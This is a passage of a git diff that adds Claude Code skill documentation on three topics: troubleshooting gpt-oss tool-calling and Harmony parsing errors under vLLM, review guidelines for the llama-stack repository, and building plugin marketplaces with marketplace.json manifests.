listing in system prompt improves results + - Better results with tool_choice='required' or 'auto' + - Avoid requiring JSON response format + - Configuration and prompt engineering significantly impact tool calling behavior + +#### gpt-oss-120b Discussion #69: Chat Template Spec Errors +- **URL**: https://huggingface.co/openai/gpt-oss-120b/discussions/69 +- **Summary**: Errors in chat template compared to spec +- **Impact**: May affect tool calling format + +### openai/harmony Repository + +#### Issue #33: EOS Error While Waiting for Message Header +- **URL**: https://github.com/openai/harmony/issues/33 +- **Error**: `HarmonyError: Unexpected EOS while waiting for message header to complete` +- **Status**: Open +- **Context**: Core Harmony parser issue affecting message parsing + +## Error Pattern Summary + +### Token Mismatch Errors +- **Pattern**: `Unexpected token X while expecting start token Y` +- **Root Cause**: Model generating text tokens instead of Harmony control tokens +- **Common Triggers**: Tool calling, multi-turn conversations +- **Primary Fix**: Update generation_config.json + +### Streaming Errors +- **Pattern**: Parse failures during streaming responses +- **Root Cause**: Incompatibility between request format and vLLM token generation +- **Affected**: Both 20b and 120b models + +### Tool Calling Failures +- **Pattern**: Empty tool_calls arrays or text descriptions instead of calls +- **Root Cause**: Configuration issues or outdated model files +- **Primary Fix**: Correct vLLM flags and update generation_config.json + +## Version Compatibility + +### vLLM Versions +- **v0.10.2**: Multiple token parsing errors reported +- **v0.10.1/v0.10.1.1**: Multi-turn conversation errors +- **Latest**: Check for fixes in newer releases + +### Recommended Actions by Version +- **Pre-v0.11**: Update to latest, refresh model files +- **v0.11+**: Verify tool calling flags are set correctly + +## Cross-References + +- Model file updates: See model-updates.md +- Tool calling configuration: See tool-calling-setup.md diff --git a/skills/gpt-oss-troubleshooting/reference/model-updates.md b/skills/gpt-oss-troubleshooting/reference/model-updates.md new file mode 100644 index 0000000..774cdbd --- /dev/null +++ b/skills/gpt-oss-troubleshooting/reference/model-updates.md @@ -0,0 +1,216 @@ +# Updating gpt-oss Model Files + +## Why Update Model Files? + +The `openai_harmony.HarmonyError: Unexpected token` errors are often caused by outdated `generation_config.json` files. HuggingFace updates these files to fix token parsing issues. + +## Current Configuration Files + +### gpt-oss-20b generation_config.json + +Latest version includes: +```json +{ + "bos_token_id": 199998, + "do_sample": true, + "eos_token_id": [ + 200002, + 199999, + 200012 + ], + "pad_token_id": 199999, + "transformers_version": "4.55.0.dev0" +} +``` + +**Key elements**: +- **eos_token_id**: Multiple EOS tokens including 200012 (tool call completion) +- **do_sample**: Enabled for generation diversity +- **transformers_version**: Indicates compatible transformers version + +### gpt-oss-120b Critical Commit + +**Commit**: 8b193b0ef83bd41b40eb71fee8f1432315e02a3e +- Fixed generation_config.json +- Confirmed to resolve token parsing errors by user andresC98 +- Applied to gpt-oss-120b model + +## How to Update Model Files + +### Method 1: Re-download with HuggingFace CLI + +```bash +# Install or update huggingface-hub +pip install --upgrade huggingface-hub + +# For gpt-oss-20b +huggingface-cli download openai/gpt-oss-20b --local-dir ./gpt-oss-20b + +# For gpt-oss-120b +huggingface-cli download openai/gpt-oss-120b --local-dir ./gpt-oss-120b +``` + +### Method 2: Manual Update via Web + +1. Visit HuggingFace model page: + - gpt-oss-20b: https://huggingface.co/openai/gpt-oss-20b + - gpt-oss-120b: https://huggingface.co/openai/gpt-oss-120b + +2. Navigate to "Files and versions" tab + +3. Download latest `generation_config.json` + +4. Replace in your local model directory: + ```bash + # Find your model directory (varies by vLLM installation) + # Common locations: + # ~/.cache/huggingface/hub/models--openai--gpt-oss-20b/ + # ./models/gpt-oss-20b/ + + # Replace the file + cp ~/Downloads/generation_config.json /path/to/model/directory/ + ``` + +### Method 3: Update with git (if model was cloned) + +```bash +cd /path/to/model/directory +git pull origin main +``` + +## Verification Steps + +After updating: + +1. **Check file contents**: + ```bash + cat generation_config.json + ``` + + Verify it matches the current version shown above. + +2. **Check modification date**: + ```bash + ls -l generation_config.json + ``` + + Should be recent (after the commit date). + +3. **Restart vLLM server**: + ```bash + # Stop existing server + # Start with correct flags (see tool-calling-setup.md) + vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice + ``` + +4. **Test tool calling**: + ```python + from openai import OpenAI + + client = OpenAI(base_url="http://localhost:8000/v1") + + response = client.chat.completions.create( + model="openai/gpt-oss-20b", + messages=[{"role": "user", "content": "What's the weather?"}], + tools=[{ + "type": "function", + "function": { + "name": "get_weather", + "description": "Get the weather", + "parameters": { + "type": "object", + "properties": { + "location": {"type": "string"} + } + } + } + }] + ) + + print(response) + ``` + +## Troubleshooting Update Issues + +### vLLM Not Picking Up Changes + +**Symptom**: Updated files but still getting errors + +**Solutions**: +1. Clear vLLM cache: + ```bash + rm -rf ~/.cache/vllm/ + ``` + +2. Restart vLLM with fresh model load: + ```bash + # Use --download-dir to force specific directory + vllm serve openai/gpt-oss-20b \ + --download-dir /path/to/models \ + --tool-call-parser openai \ + --enable-auto-tool-choice + ``` + +3. Check vLLM is loading the correct model directory: + - Look for model path in vLLM startup logs + - Verify it matches where you updated files + +### File Permission Issues + +```bash +# Ensure files are readable +chmod 644 generation_config.json + +# Check ownership +ls -l generation_config.json +``` + +### Multiple Model Copies + +**Problem**: vLLM might be loading from a different location + +**Solution**: +1. Find all copies: + ```bash + find ~/.cache -name "generation_config.json" -path "*/gpt-oss*" + ``` + +2. Update all copies or remove duplicates + +3. Use explicit `--download-dir` flag when starting vLLM + +## Additional Files to Check + +While `generation_config.json` is the primary fix, also verify these files are current: + +### config.json +Contains model architecture configuration + +### tokenizer_config.json +Token encoding settings, including special tokens + +### special_tokens_map.json +Maps special token strings to IDs + +**To update all**: +```bash +huggingface-cli download openai/gpt-oss-20b \ + --local-dir ./gpt-oss-20b \ + --force-download +``` + +## When to Update + +Update model files when: +- Encountering token parsing errors +- HuggingFace shows recent commits to model repo +- vLLM error messages reference token IDs +- After vLLM version upgrades +- Community reports fixes via file updates + +## Cross-References + +- Known issues: See known-issues.md +- vLLM configuration: See tool-calling-setup.md diff --git a/skills/gpt-oss-troubleshooting/reference/tool-calling-setup.md b/skills/gpt-oss-troubleshooting/reference/tool-calling-setup.md new file mode 100644 index 0000000..39d3625 --- /dev/null +++ b/skills/gpt-oss-troubleshooting/reference/tool-calling-setup.md @@ -0,0 +1,299 @@ +# Tool Calling Configuration for gpt-oss with vLLM + +## Required vLLM Server Flags + +For gpt-oss tool calling to work, vLLM must be started with specific flags. + +### Minimal Configuration + +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice +``` + +### Full Configuration with Tool Server + +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --tool-server demo \ + --max-model-len 8192 \ + --dtype auto +``` + +## Flag Explanations + +### --tool-call-parser openai +- **Required**: Yes +- **Purpose**: Uses OpenAI-compatible tool calling format +- **Effect**: Enables proper parsing of tool call tokens +- **Alternatives**: None for gpt-oss compatibility + +### --enable-auto-tool-choice +- **Required**: Yes +- **Purpose**: Allows automatic tool selection +- **Effect**: Model can choose which tool to call +- **Note**: Only `tool_choice='auto'` is supported + +### --tool-server +- **Required**: Optional, but needed for demo tools +- **Options**: + - `demo`: Built-in demo tools (browser, Python interpreter) + - `ip:port`: Custom MCP tool server + - Multiple servers: `ip1:port1,ip2:port2` + +### --max-model-len +- **Required**: No +- **Purpose**: Sets maximum context length +- **Recommended**: 8192 or higher for tool calling contexts +- **Effect**: Prevents truncation during multi-turn tool conversations + +## Tool Server Options + +### Demo Tool Server + +Requires gpt-oss library: +```bash +pip install gpt-oss +``` + +Provides: +- Web browser tool +- Python interpreter tool + +Start command: +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --tool-server demo +``` + +### MCP Tool Servers + +Start vLLM with MCP server URLs: +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --tool-server localhost:5000,localhost:5001 +``` + +Requirements: +- MCP servers must be running before vLLM starts +- Must implement MCP protocol +- Should return results in expected format + +### No Tool Server (Client-Managed Tools) + +For client-side tool management (e.g., llama-stack with MCP): +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice +``` + +Tools are provided via API request, not server config. + +## Environment Variables + +### Search Tools + +For demo tool server with search: +```bash +export EXA_API_KEY="your-exa-api-key" +``` + +### Python Execution + +For safe Python execution (recommended for demo): +```bash +export PYTHON_EXECUTION_BACKEND=dangerously_use_uv +``` + +**Warning**: Demo Python execution is for testing only. + +## Client Configuration + +### OpenAI-Compatible Clients + +```python +from openai import OpenAI + +client = OpenAI( + base_url="http://localhost:8000/v1", + api_key="not-needed" # vLLM doesn't require auth by default +) + +response = client.chat.completions.create( + model="openai/gpt-oss-20b", + messages=[{"role": "user", "content": "What's 2+2?"}], + tools=[{ + "type": "function", + "function": { + "name": "calculator", + "description": "Perform calculations", + "parameters": { + "type": "object", + "properties": { + "expression": {"type": "string"} + }, + "required": ["expression"] + } + } + }], + tool_choice="auto" # MUST be 'auto' - only supported value +) +``` + +### llama-stack Configuration + +Example run.yaml for llama-stack with vLLM: +```yaml +inference: + - provider_id: vllm-provider + provider_type: remote::vllm + config: + url: http://localhost:8000/v1 + # No auth_credential needed if vLLM has no auth + +tool_runtime: + - provider_id: mcp-provider + provider_type: mcp + config: + servers: + - server_name: my-tools + url: http://localhost:5000 +``` + +## Common Configuration Issues + +### Issue: tool_choice Not Working + +**Symptom**: Error about unsupported tool_choice value + +**Solution**: Only use `tool_choice="auto"`, other values not supported: +```python +# GOOD +tool_choice="auto" + +# BAD - will fail +tool_choice="required" +tool_choice={"type": "function", "function": {"name": "my_func"}} +``` + +### Issue: Tools Not Being Called + +**Symptoms**: +- Model describes tool usage in text +- No tool_calls in response +- Empty tool_calls array + +**Checklist**: +1. Verify `--tool-call-parser openai` flag is set +2. Verify `--enable-auto-tool-choice` flag is set +3. Check generation_config.json is up to date (see model-updates.md) +4. Try simpler tool schemas first +5. Check vLLM logs for parsing errors + +### Issue: Token Parsing Errors + +**Error**: `openai_harmony.HarmonyError: Unexpected token X` + +**Solutions**: +1. Update model files (see model-updates.md) +2. Verify vLLM version is recent +3. Check vLLM startup logs for warnings +4. Restart vLLM server after any config changes + +## Performance Tuning + +### GPU Memory + +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --gpu-memory-utilization 0.9 +``` + +### Tensor Parallelism + +For multi-GPU: +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --tensor-parallel-size 2 +``` + +### Batching + +```bash +vllm serve openai/gpt-oss-20b \ + --tool-call-parser openai \ + --enable-auto-tool-choice \ + --max-num-batched-tokens 8192 \ + --max-num-seqs 256 +``` + +## Testing Your Configuration + +### Basic Test + +```bash +curl http://localhost:8000/v1/chat/completions \ + -H "Content-Type: application/json" \ + -d '{ + "model": "openai/gpt-oss-20b", + "messages": [{"role": "user", "content": "Calculate 15 * 7"}], + "tools": [{ + "type": "function", + "function": { + "name": "calculator", + "description": "Perform math", + "parameters": { + "type": "object", + "properties": {"expr": {"type": "string"}} + } + } + }], + "tool_choice": "auto" + }' +``` + +### Expected Response + +Success indicates tool_calls array with function call: +```json +{ + "choices": [{ + "message": { + "role": "assistant", + "content": null, + "tool_calls": [{ + "id": "call_123", + "type": "function", + "function": { + "name": "calculator", + "arguments": "{\"expr\": \"15 * 7\"}" + } + }] + } + }] +} +``` + +### Failure Indicators + +- `content` field has text describing calculation instead of null +- `tool_calls` is empty or null +- Error in response about tool parsing +- HarmonyError in vLLM logs + +## Cross-References + +- Model file updates: See model-updates.md +- Known issues: See known-issues.md diff --git a/skills/llama-stack/SKILL.md b/skills/llama-stack/SKILL.md new file mode 100644 index 0000000..f2b4ead --- /dev/null +++ b/skills/llama-stack/SKILL.md @@ -0,0 +1,170 @@ +--- +name: Reviewing Llama Stack Code +description: Use when reviewing code or PRs in the llama-stack repository (llamastack/llama-stack on GitHub). Provides specialized knowledge about Llama Stack's architecture, testing patterns (recordings folders), backward compatibility requirements, distributed system considerations, and code review focus areas specific to this project. +--- + +# Llama Stack Code Review Guidelines + +This skill provides specialized knowledge for reviewing code in the Llama Stack project (https://github.com/llamastack/llama-stack). + +## When to Use This Skill + +Invoke this skill when: +- Reviewing pull requests in the llama-stack repository +- Analyzing code changes in llama-stack +- Providing feedback on llama-stack contributions +- Understanding llama-stack architecture patterns + +## Critical: Recordings Folders + +**MOST IMPORTANT**: Llama Stack uses `recordings/` folders containing JSON response files for CI testing. + +### Review Approach for Recordings + +- **Ignore all content** in `recordings/` folders and any JSON files within them +- **Do NOT review** the content of recording files - they are auto-generated test fixtures +- **Instead**: Verify that CI checks are passing +- **Focus on**: Actual code changes, not recorded responses + +### Why This Matters + +- Recording files can be hundreds or thousands of lines of JSON +- They are generated automatically and don't require human review +- Reviewing them wastes time and provides no value +- CI validates that recordings work correctly + +### Example + +``` +# DO NOT review in detail: +tests/recordings/test_foo/response_1.json (500 lines of JSON) +tests/recordings/test_bar/response_2.json (800 lines of JSON) + +# Instead, confirm: +✓ CI checks passing +✓ Test code changes are valid +✓ Actual implementation code is reviewed +``` + +## Llama Stack Architecture Patterns + +### API Backward Compatibility + +Llama Stack emphasizes API stability: +- Verify new API changes maintain backward compatibility +- Check that existing clients won't break +- Flag breaking changes explicitly and ensure they're intentional +- Validate deprecation paths are provided for removed features + +### Distributed System Considerations + +Llama Stack operates in distributed environments: +- **Race conditions**: Check for proper synchronization and locking +- **Eventual consistency**: Verify code handles delayed updates correctly +- **Network failures**: Ensure retries and timeout handling +- **Partial failures**: Check that failures in one component don't cascade + +### Error Propagation + +Errors must flow correctly across component boundaries: +- Verify errors include sufficient context for debugging +- Check that error types are appropriate for the abstraction level +- Ensure errors aren't swallowed or logged without handling +- Validate error messages are actionable for users + +### Integration Points + +Llama Stack has well-defined integration patterns: +- Verify new integrations follow established patterns +- Check that provider interfaces are implemented completely +- Ensure configuration handling is consistent +- Validate that new components integrate with existing telemetry/logging + +### Performance for Distributed Workloads + +Performance is critical at scale: +- Confirm performance impact is acceptable for distributed deployments +- Check for N+1 query problems in data access +- Verify caching strategies are appropriate +- Ensure batch operations are used where possible + +## Review Checklist for Llama Stack PRs + +Use this checklist in addition to standard code review criteria: + +1. **Recordings**: Confirmed recordings folders ignored, CI status checked ✓ +2. **Backward Compatibility**: API changes are backward compatible ✓ +3. **Distributed Systems**: Race conditions, consistency, failures handled ✓ +4. **Error Handling**: Errors propagate correctly with context ✓ +5. **Integration Patterns**: Follows established patterns ✓ +6. **Performance**: Acceptable impact for distributed workloads ✓ +7. **Testing**: Tests cover distributed scenarios, not just happy path ✓ + +## Common Llama Stack Patterns + +### Provider Interface Pattern + +Llama Stack uses provider interfaces for extensibility: +```python +class MyProvider(BaseProvider): + async def initialize(self): + # Setup logic + pass + + async def execute(self, request): + # Implementation + pass +``` + +Verify: +- All required methods are implemented +- Async patterns are used consistently +- Error handling follows provider conventions + +### Configuration Pattern + +Configuration is hierarchical and validated: +- Check that new config options are documented +- Verify defaults are sensible +- Ensure validation happens early with clear error messages + +## Anti-Patterns to Flag + +- **Blocking I/O**: Should use async patterns +- **Hardcoded timeouts**: Should be configurable +- **Missing telemetry**: New operations should emit metrics/logs +- **Tight coupling**: Components should use defined interfaces +- **Ignored recordings**: Don't spend time reviewing recording files + +## Testing Expectations + +Llama Stack has specific testing patterns: +- Unit tests for individual components +- Integration tests using the recordings pattern +- Distributed scenario tests for multi-component features +- Performance benchmarks for critical paths + +Verify that: +- New features include appropriate test coverage +- Tests cover error cases, not just success paths +- Recordings are generated for integration tests (but don't review the recordings content) + +## Documentation Standards + +Code changes should include: +- API documentation for public interfaces +- Architecture decision context for significant changes +- Migration guides for breaking changes +- Performance characteristics for new features + +## Final Recommendation + +After reviewing a Llama Stack PR using these guidelines: + +1. Summarize findings specific to Llama Stack patterns +2. Call out any violations of distributed system best practices +3. Confirm recordings folders were handled correctly (ignored, CI checked) +4. Note any backward compatibility concerns +5. Provide overall recommendation with Llama Stack context + +Remember: The most common mistake is spending time reviewing recordings folder content. Always check CI status instead. diff --git a/skills/marketplace-builder/SKILL.md b/skills/marketplace-builder/SKILL.md new file mode 100644 index 0000000..582cd19 --- /dev/null +++ b/skills/marketplace-builder/SKILL.md @@ -0,0 +1,427 @@ +--- +name: Creating and Managing Plugin Marketplaces +description: Use before creating or editing marketplace.json files, setting up marketplace repositories, or when user asks about plugin distribution. Provides expert guidance on marketplace structure, manifest configuration, plugin organization, semantic versioning, and git-based distribution workflows. Invoke when working with marketplace files or discussing how to share multiple plugins to ensure correct manifest structure and installation compatibility. +--- + +# Claude Code Marketplace Builder + +## What is a Marketplace? + +A marketplace is a collection of Claude Code plugins that can be shared as a cohesive unit. Marketplaces enable: +- Centralized distribution of multiple related plugins +- Version control and sharing via git repositories +- Team-wide or community-wide plugin discovery +- Organized collections of plugins by theme, team, or purpose + +## Marketplace Directory Structure + +A marketplace follows this structure: + +``` +my-marketplace/ +├── .claude-plugin/ +│ └── marketplace.json # Marketplace manifest (REQUIRED) +├── plugin-one/ +│ └── .claude-plugin/ +│ └── plugin.json # Individual plugin manifest +├── plugin-two/ +│ └── .claude-plugin/ +│ └── plugin.json +└── README.md # Documentation (recommended) +``` + +### Key Points + +- Marketplace manifest must be at `.claude-plugin/marketplace.json` in the marketplace root +- Each plugin within the marketplace has its own `plugin.json` manifest +- Plugins can be in any subdirectory structure you prefer +- Git version control is recommended for sharing and collaboration + +## Marketplace Manifest (marketplace.json) + +### Location and Requirements + +The marketplace manifest MUST be located at: +``` +.claude-plugin/marketplace.json +``` + +This file defines the marketplace metadata and lists all available plugins. + +### Required Fields + +```json +{ + "name": "my-marketplace", + "owner": { + "name": "Your Name" + }, + "plugins": [] +} +``` + +**Field Descriptions:** +- `name`: Marketplace identifier in kebab-case (e.g., "team-tools", "data-science-plugins") +- `owner.name`: Maintainer's name (REQUIRED) +- `owner.email`: Maintainer's email (OPTIONAL) +- `plugins`: Array of plugin entries (can be empty initially) + +### Optional Metadata Fields + +```json +{ + "name": "my-marketplace", + "description": "Marketplace description", + "version": "1.0.0", + "owner": { + "name": "Your Name", + "email": "you@example.com" + }, + "homepage": "https://github.com/username/marketplace", + "plugins": [] +} +``` + +**Additional Fields:** +- `description`: Brief overview of the marketplace's purpose +- `version`: Marketplace version (semantic versioning) +- `homepage`: URL to marketplace documentation or repository + +## Adding Plugins to Marketplace + +### Plugin Entry Structure + +Each plugin in the `plugins` array requires: + +```json +{ + "plugins": [ + { + "name": "plugin-name", + "source": "./plugin-directory", + "description": "Brief description" + } + ] +} +``` + +**Plugin Entry Fields:** +- `name`: Plugin identifier (MUST match the plugin's `plugin.json` name) +- `source`: Path or URL to plugin (see Plugin Sources section) +- `description`: Brief description (optional but recommended for discoverability) + +### Example with Multiple Plugins + +```json +{ + "name": "team-productivity", + "owner": { + "name": "Engineering Team" + }, + "description": "Productivity tools for our engineering team", + "plugins": [ + { + "name": "code-review-helper", + "source": "./code-review-helper", + "description": "Automated code review assistance" + }, + { + "name": "pr-templates", + "source": "./pr-templates", + "description": "Standardized PR templates and workflows" + }, + { + "name": "testing-utils", + "source": "./testing-utils", + "description": "Test generation and coverage tools" + } + ] +} +``` + +## Plugin Sources + +Plugin sources in marketplace.json support multiple formats: + +### Local Path (Relative) + +```json +{ + "name": "local-plugin", + "source": "./local-plugin" +} +``` + +Use for plugins stored within the marketplace directory. Paths must be relative to the marketplace root. + +### GitHub Repository + +```json +{ + "name": "github-plugin", + "source": "github:username/repo" +} +``` + +Use for plugins hosted on GitHub. Claude Code will clone the repository. + +### Git URL + +```json +{ + "name": "git-plugin", + "source": "https://github.com/username/repo.git" +} +``` + +Use for plugins hosted on any Git provider. Full git URLs are supported. + +### Mixed Sources Example + +```json +{ + "plugins": [ + { + "name": "internal-tool", + "source": "./internal-tool", + "description": "Internal team tool" + }, + { + "name": "community-plugin", + "source": "github:community/awesome-plugin", + "description": "Community-maintained plugin" + }, + { + "name": "external-tool", + "source": "https://gitlab.com/team/tool.git", + "description": "External Git repository" + } + ] +} +``` + +## Creating a Marketplace: Step-by-Step + +### Step 1: Create Marketplace Directory + +```bash +mkdir my-marketplace +cd my-marketplace +``` + +### Step 2: Create Marketplace Manifest + +```bash +mkdir .claude-plugin +``` + +Create `.claude-plugin/marketplace.json`: + +```json +{ + "name": "my-marketplace", + "owner": { + "name": "Your Name" + }, + "plugins": [] +} +``` + +### Step 3: Initialize Git (Recommended) + +```bash +git init +``` + +Version control enables: +- Easy sharing via repository URL +- Version history tracking +- Collaboration workflows +- Distribution to users + +### Step 4: Add Plugins + +For each plugin you want to include: + +1. Create plugin directory: + ```bash + mkdir my-plugin + mkdir my-plugin/.claude-plugin + ``` + +2. Create plugin manifest (my-plugin/.claude-plugin/plugin.json): + ```json + { + "name": "my-plugin", + "version": "1.0.0", + "description": "Plugin description" + } + ``` + +3. Add plugin components (skills, commands, agents, etc.) + +4. Update marketplace.json: + ```json + { + "plugins": [ + { + "name": "my-plugin", + "source": "./my-plugin", + "description": "Plugin description" + } + ] + } + ``` + +### Step 5: Test Locally + +Add marketplace to Claude Code: + +```bash +/plugin marketplace add /path/to/my-marketplace +``` + +Install and test plugins: + +```bash +/plugin install my-plugin@my-marketplace +``` + +Verify installation: +- Run `/plugin` to see installed plugins +- Check `/help` for new commands +- Test plugin functionality + +## Local Development Workflow + +### Testing Changes + +When modifying plugins in your marketplace: + +1. **Uninstall old version:** + ```bash + /plugin uninstall plugin-name@marketplace-name + ``` + +2. **Reinstall updated version:** + ```bash + /plugin install plugin-name@marketplace-name + ``` + +Alternatively, restart Claude Code to reload all plugins. + +### Development Iteration + +Recommended workflow: +1. Make changes to plugin files +2. Uninstall → Reinstall plugin +3. Test functionality +4. Commit changes to git +5. Repeat as needed + +### Debugging + +Use debug mode to troubleshoot: + +```bash +claude --debug +``` + +This shows: +- Marketplace loading status +- Plugin loading status +- Manifest validation errors +- Component registration +- Any warnings or errors + +## Distribution and Sharing + +### Sharing Your Marketplace + +1. **Commit to git:** + ```bash + git add . + git commit -m "Add marketplace with plugins" + ``` + +2. **Push to remote repository:** + ```bash + git remote add origin + git push -u origin main + ``` + +3. **Share with users:** + Users add your marketplace: + ```bash + /plugin marketplace add + ``` + + Or for local paths: + ```bash + /plugin marketplace add /path/to/marketplace + ``` + +4. **Install plugins:** + ```bash + /plugin install plugin-name@marketplace-name + ``` + +### Managing Plugin Lifecycle + +Users can manage installed plugins: + +```bash +# Enable plugin +/plugin enable plugin-name@marketplace-name + +# Disable plugin +/plugin disable plugin-name@marketplace-name + +# Uninstall plugin +/plugin uninstall plugin-name@marketplace-name +``` + +## Testing Checklist + +Before distributing your marketplace: + +- [ ] marketplace.json has required fields (name, owner, plugins) +- [ ] All plugin entries have name and source +- [ ] Plugin names match their plugin.json names +- [ ] Local plugin paths are relative and start with `./` +- [ ] All plugins install without errors +- [ ] Tested with `claude --debug` for warnings +- [ ] README.md documents marketplace purpose and plugins +- [ ] Repository is properly initialized with git +- [ ] All changes are committed + +## Best Practices + +For comprehensive best practices on organization, versioning, distribution, and collaboration, see `reference/best-practices.md`. + +## Key Takeaways + +### Marketplace Essentials +1. Marketplace manifest MUST be at `.claude-plugin/marketplace.json` (not root) +2. Each plugin entry needs `name`, `source`, and optionally `description` +3. Plugin sources can be local paths (`./plugin`), GitHub repos (`github:user/repo`), or Git URLs +4. Add marketplace once: `/plugin marketplace add ` +5. Install plugins: `/plugin install plugin-name@marketplace-name` + +### Development Workflow +1. Create marketplace directory with `.claude-plugin/marketplace.json` +2. Add plugins with their own `plugin.json` manifests +3. Test locally before sharing: `/plugin marketplace add /local/path` +4. Use git for version control and distribution +5. Update workflow: uninstall → reinstall or restart Claude Code + +### Distribution +1. Share via git repository URL or local path +2. Users add marketplace, then browse/install plugins +3. Marketplace can mix local and remote plugin sources +4. Use semantic versioning for both marketplace and plugins +5. Document installation and usage in README + +## Common Patterns + +For detailed examples of personal, team, community, and hybrid marketplace patterns, see `reference/best-practices.md`. diff --git a/skills/marketplace-builder/reference/best-practices.md b/skills/marketplace-builder/reference/best-practices.md new file mode 100644 index 0000000..1a48705 --- /dev/null +++ b/skills/marketplace-builder/reference/best-practices.md @@ -0,0 +1,410 @@ +# Marketplace Best Practices + +Comprehensive guide to organizing, versioning, distributing, and collaborating on Claude Code plugin marketplaces. + +## Organization + +### Group Related Plugins + +Keep plugins with related functionality together in your marketplace. This improves discoverability and makes the marketplace purpose clear. + +**Good organization**: +``` +team-productivity/ +├── code-review-helper/ +├── pr-templates/ +└── testing-utils/ +``` + +**Poor organization**: +``` +random-stuff/ +├── unrelated-plugin-1/ +├── totally-different-plugin-2/ +└── another-random-thing/ +``` + +### Clear Naming + +Use descriptive, kebab-case names for both the marketplace and plugins. + +**Good names**: +- `data-science-tools` +- `web-dev-utilities` +- `team-workflows` + +**Avoid**: +- `stuff` +- `utils` +- `my-plugins` + +### Documentation + +Include a README.md explaining the marketplace purpose, available plugins, and installation instructions. + +**Essential README sections**: +- Marketplace description and purpose +- List of plugins with brief descriptions +- Installation instructions +- Usage examples +- Contribution guidelines (if accepting contributions) + +### Consistent Structure + +Maintain similar directory structure across plugins in your marketplace. + +**Example consistent structure**: +``` +marketplace/ +├── plugin-one/ +│ ├── .claude-plugin/ +│ │ └── plugin.json +│ ├── skills/ +│ └── commands/ +├── plugin-two/ +│ ├── .claude-plugin/ +│ │ └── plugin.json +│ ├── skills/ +│ └── commands/ +``` + +## Versioning + +### Marketplace Versioning + +Track the marketplace version in marketplace.json to help users understand when significant changes occur. + +```json +{ + "name": "my-marketplace", + "version": "1.2.0", + "owner": { + "name": "Your Name" + } +} +``` + +**Version increments**: +- **MAJOR**: Breaking changes (plugin removed, structure changed) +- **MINOR**: New plugins added, significant updates +- **PATCH**: Bug fixes, documentation updates + +### Plugin Versioning + +Each plugin maintains its own semantic version in its plugin.json. + +```json +{ + "name": "my-plugin", + "version": "2.1.0" +} +``` + +Plugins version independently from the marketplace version. + +### Git Tags + +Use git tags to mark marketplace releases, making it easy to reference specific versions. + +```bash +git tag -a v1.2.0 -m "Release version 1.2.0" +git push origin v1.2.0 +``` + +Users can then install specific versions: +```bash +/plugin marketplace add https://github.com/user/marketplace.git#v1.2.0 +``` + +### Changelog + +Document changes in CHANGELOG.md following the Keep a Changelog format. + +**Example CHANGELOG.md**: +```markdown +# Changelog + +## [1.2.0] - 2024-01-15 + +### Added +- New testing-utils plugin +- Documentation for all plugins + +### Changed +- Updated code-review-helper to v2.0.0 + +### Fixed +- Fixed plugin paths in marketplace.json +``` + +## Distribution + +### Public vs Private Repositories + +Choose repository visibility based on your needs: + +**Public repositories**: +- Open-source plugins for community use +- Sharing tools across teams in different organizations +- Building a plugin ecosystem + +**Private repositories**: +- Internal team tools with proprietary logic +- Company-specific workflows +- Sensitive configurations or integrations + +### Access Control + +Use repository permissions to control marketplace access: + +**GitHub/GitLab permissions**: +- Public repos: Anyone can clone and use +- Private repos: Only authorized users can access +- Organization repos: Team-based access control + +### Documentation + +Provide clear installation instructions in README.md: + +```markdown +## Installation + +1. Add the marketplace: + ```bash + /plugin marketplace add https://github.com/team/marketplace.git + ``` + +2. Browse available plugins: + ```bash + /plugin + ``` + +3. Install a plugin: + ```bash + /plugin install plugin-name@marketplace-name + ``` +``` + +### Examples + +Include example usage in README or individual plugin docs: + +```markdown +## Example Usage + +After installing the code-review-helper plugin: + +1. Open a pull request +2. Run `/review` to analyze changes +3. Review the generated feedback +``` + +## Collaboration + +### Team Marketplaces + +Create shared marketplaces for standardized team workflows: + +**Benefits**: +- Consistent tooling across team members +- Shared best practices encoded in plugins +- Easy onboarding for new team members +- Centralized maintenance + +**Example team structure**: +``` +team-engineering/ +├── .claude-plugin/ +│ └── marketplace.json +├── code-standards/ +├── deployment-tools/ +└── review-helpers/ +``` + +### Pull Request Workflow + +Use PRs for plugin additions and updates: + +**Workflow**: +1. Create feature branch for new plugin or update +2. Add/modify plugin in the marketplace +3. Update marketplace.json +4. Test locally +5. Submit PR with description of changes +6. Review and merge + +**PR template**: +```markdown +## Change Description +[New plugin / Plugin update / Bug fix] + +## Plugin Name +plugin-name + +## Testing +- [ ] Installed locally and tested +- [ ] All commands/skills work as expected +- [ ] Documentation is complete + +## Checklist +- [ ] marketplace.json updated +- [ ] Plugin version incremented (if update) +- [ ] CHANGELOG.md updated +``` + +### Code Review + +Review plugin changes before merging: + +**Review checklist**: +- [ ] Plugin manifest is valid +- [ ] Plugin name matches marketplace.json entry +- [ ] Documentation is clear and complete +- [ ] Skills/commands work as intended +- [ ] No sensitive information in code +- [ ] Follows team conventions + +### Testing + +Test plugin installations before publishing updates: + +**Testing steps**: +1. Clean environment test: + ```bash + # Uninstall existing version + /plugin uninstall plugin-name@marketplace-name + + # Pull latest changes + git pull + + # Reinstall + /plugin install plugin-name@marketplace-name + ``` + +2. Verify functionality: + - Test all commands + - Verify all skills load + - Check for errors with `claude --debug` + +3. Test on multiple platforms (if applicable): + - macOS + - Linux + - Windows + +## Common Patterns + +### Personal Marketplace + +Organize personal tools and utilities: + +``` +my-tools/ +├── .claude-plugin/ +│ └── marketplace.json +├── productivity/ +│ └── .claude-plugin/ +│ └── plugin.json +├── development/ +│ └── .claude-plugin/ +│ └── plugin.json +└── utilities/ + └── .claude-plugin/ + └── plugin.json +``` + +**Use cases**: +- Personal productivity tools +- Custom development helpers +- Workflow automation +- Learning and experimentation + +### Team Marketplace + +Shared tools for engineering teams: + +``` +team-marketplace/ +├── .claude-plugin/ +│ └── marketplace.json +├── code-standards/ +│ └── .claude-plugin/ +│ └── plugin.json +├── deployment-tools/ +│ └── .claude-plugin/ +│ └── 